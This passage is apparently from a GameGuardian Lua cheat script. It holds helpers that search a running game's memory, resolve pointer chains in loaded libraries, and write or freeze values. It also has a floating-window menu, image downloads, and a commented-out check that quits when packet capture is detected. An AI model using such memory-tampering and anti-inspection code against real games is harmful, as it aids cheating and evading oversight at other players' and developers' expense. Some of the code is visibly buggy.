addr = addr[1].value + offset[i] end return addr end end function gg.edits(addr, Table, name) local Table1 = {{}, {}} for k, v in ipairs(Table) do local value = {address = addr + v[3], value = v[1], flags = v[2], freeze = v[4]} if v[4] then Table1[2][#Table1[2] + 1] = value else Table1[1][#Table1[1] + 1] = value end end gg.addListItems(Table1[2]) gg.setValues(Table1[1]) gg.toast((name or "") .. "开启成功, 共修改" .. #Table .. "个值") end function readWrite(Search,Get,Type,Range,Name) gg.clearResults() gg.setRanges(Range) gg.setVisible(false) if Search[1][1]~=false then gg.searchAddress(Search[1][1],0xFFFFFFFF,Search[1][4] or Type,gg.SIGN_EQUAL,Search[1][5] or 1,Search[1][6] or -1) end gg.searchNumber(Search[1][2],Search[1][4] or Type,false,gg.SIGN_EQUAL,Search[1][5] or 1,Search[1][6] or -1) local count=gg.getResultCount() local result=gg.getResults(count) gg.clearResults() local data={} local base=Search[1][3] if (count > 0) then for i,v in ipairs(result) do v.isUseful=true end for k=2,#Search do local tmp={} local offset=Search[k][2] - base local num=Search[k][1] for i,v in ipairs(result) do tmp[#tmp+1]={} tmp[#tmp].address=v.address+offset tmp[#tmp].flags=Search[k][3] or Type end tmp=gg.getValues(tmp) for i,v in ipairs(tmp) do if v.flags==16 or v.flags==64 then values=tostring(v.value):sub(1,6) num=tostring(num):sub(1,6) else values=v.value end if tostring(values)~=tostring(num) then result[i].isUseful=false end end end for i,v in pairs(result) do if (v.isUseful) then daa[#data+1]=v.address end end if (#data > 0) then local t,t_={},{} local base=Search[1][3] for i=1,#data do for k,w in ipairs(Get) do offset=w[2] - base if w[1]==false then t_[#t_+1]={} t_[#t_].address=data[i]+offset t_[#t_].flags=Type th_=(th_) and th_+1 or 1 else t[#t+1]={} t[#t].address=data[i]+offset t[#t].flags=w[3] or Type t[#t].value=w[1] tg_=(tg_) and tg_+1 or 1 if (w[4]==true) then local item={} item[#item+1]=t[#t] item[#item].freeze=w[4] gg.addListItems(item) end end end end tg=(tg_) and "\n已修改"..tg_.."条数据" or "" th=(th_) and "\n已获取"..th_.."条数据" or "" gg.setValues(t) t_=gg.getValues(t_) gg.loadResults(t_) gg.alert("\n"..Name.."搜索成功!\n偏移到"..#data.."条数据"..tg..th) tg_,th_=nil,nil else gg.toast("\n"..Name.."开启失败",false) return false end else gg.toast(Name.."开启失败") return false end end function S_Pointer(t_So, t_Offset, _bit) local function getRanges() local ranges = {} local t = gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v) end end return ranges end local function Get_Address(N_So, Offset, ti_bit) local ti = gg.getTargetInfo() local S_list = getRanges() local t = {} local _t local _S = nil if ti_bit then _t = 32 else _t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then _S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _S.start + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then S[_].value = S[_].value & 0xFFFFFFFF end t[#t + 1] = {} t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end _S = t[#t].address end return _S end local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit)) return _A end GT = {} function 获取图片(txt) ntxt = string.sub(string.gsub(txt,"/","-"),-10,-1) if string.find(tostring(txt),"http") ~= nil then if panduan("/sdcard/长安/图片/"..ntxt) == false then download(txt,"/sdcard/长安/图片/"..ntxt) end txt = "/sdcard/长安/图片/"..ntxt end return luajava.getBitmapDrawable(txt) end function getRes(x) return 获取图片("/sdcard/长安/图片/"..x) end function getTimeStamp(t) local str = os.date("%Y年%m月%d日%H:%M:%S",t) return str end function getVerticalBG(gtvb1,gtvb3,gtvb4,gtvb5) if not gtvb4 then gtvb4 = 0 gtvb5 = 0xff000000 end local jianbians = luajava.new(GradientDrawable) jianbians:setCornerRadius(gtvb3) jianbians:setGradientType(GradientDrawable.LINEAR_GRADIENT) jianbians:setColors(gtvb1) jianbians:setStroke(gtvb4,gtvb5)--边框宽度和颜色 return jianbians end function getHorizontalBG(gtvb1,gtvb3,gtvb4,gtvb5) if not gtvb4 then gtvb4 = 0 gtvb5 = 0xff000000 end local jianbians = luajava.new(GradientDrawable) jianbians:setCornerRadius(gtvb3) jianbians:setOrientation(GradientDrawable.Orientation.LEFT_RIGHT) jianbians:setGradientType(GradientDrawable.LINEAR_GRADIENT) jianbians:setColors(gtvb1) jianbians:setStroke(gtvb4,gtvb5)--边框宽度和颜色 return jianbians end function guid() seed = { 'e','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' } tb = {} for i = 1,32 do table.insert(tb,seed[math.random(1,16)]) end sid = table.concat(tb) return string.format('%s%s%s%s%s', string.sub(sid,1,8), string.sub(sid,10,12), string.sub(sid,21,22)) ..string.format('%s%s%s%s%s', string.sub(sid,1,6), string.sub(sid,21,25) ) end function panduan(rec) fille,err = io.open(rec) if fille == nil then return false else return true end end hanshu = function(v, event) local Action = event:getAction() if Action == MotionEvent.ACTION_DOWN then isMove = false RawX = event:getRawX() RawY = event:getRawY() x = mainLayoutParams.x y = mainLayoutParams.y elseif Action == MotionEvent.ACTION_MOVE then isMove = true mainLayoutParams.x = tonumber(x) + (event:getRawX() - RawX) mainLayoutParams.y = tonumber(y) + (event:getRawY() - RawY) window:updateViewLayout(floatWindow, mainLayoutParams) end end function panduan(rec) fille,err = io.open(rec) if fille == nil then return false else return true end end function pdcf(lujing) rec = "/sdcard/长安/配置文件/"..lujing fille,err = io.open(rec) if fille == nil then return false else return true end end sleep = gg.sleep --if gg.isHTTPdump()==true and panduan("/sdcard/长安/配置文件/vpn.txt") == false then gg.alert("\n抓包?") os.exit() end function read(fileName) f = assert(io.open(fileName, 'r')) content = f:read("*all") f:close() return content end function wtcf(lujing,neirong) write("/sdcard/长安/配置文件/"..lujing,neirong) end function rdcf(lujing) return read("/sdcard/长安/配置文件/"..lujing) end 开 = "开" 关 = "关" function checkimg(tmp) if panduan("/sdcard/长安/图片/"..tmp) ~= true then gg.toast("正在下载资源"..tmp.."\n请耐心等待") download("https://escape2020-1303126286.cos.ap-shenzhen-fsi.myqcloud.com/"..tmp,"/sdcard/长安/图片/"..tmp) download("https://out.zxglife.top/view.php/4fa962f5833f459360ee4e994c1a5985.png","/sdcard/长安/图片/quarkcheckoff") download("https://out.zxglife.top/view.php/0f060255af15c70e5758ae34d05c483e.png","/sdcard/长安/图片/quarkcheckon") else if file.length("/sdcard/长安/图片/"..tmp) <= 1 then gg.toast("正在下载资源"..tmp.."\n请耐心等待") download("https://escape2020-1303126286.cos.ap-shenzhen-fsi.myqcloud.com/"..tmp,"/sdcard/长安/图片/"..tmp) download("https://out.zxglife.top/view.php/4fa962f5833f459360ee4e994c1a5985.png","/sdcard/长安/图片/quarkcheckoff") download("https://out.zxglife.top/view.php/0f060255af15c70e5758ae34d05c483e.png","/sdcard/长安/图片/quarkcheckon") end end end ckimg = { "quarkx","quarkcheckon","quarkcheckoff", "inktitle","moji","sword","mo_but","taichion" } for i = 1,#ckimg do jindu = i checkimg(ckimg[i]) end function particle() local webView = luajava.webView(function(webView) webView:loadData([[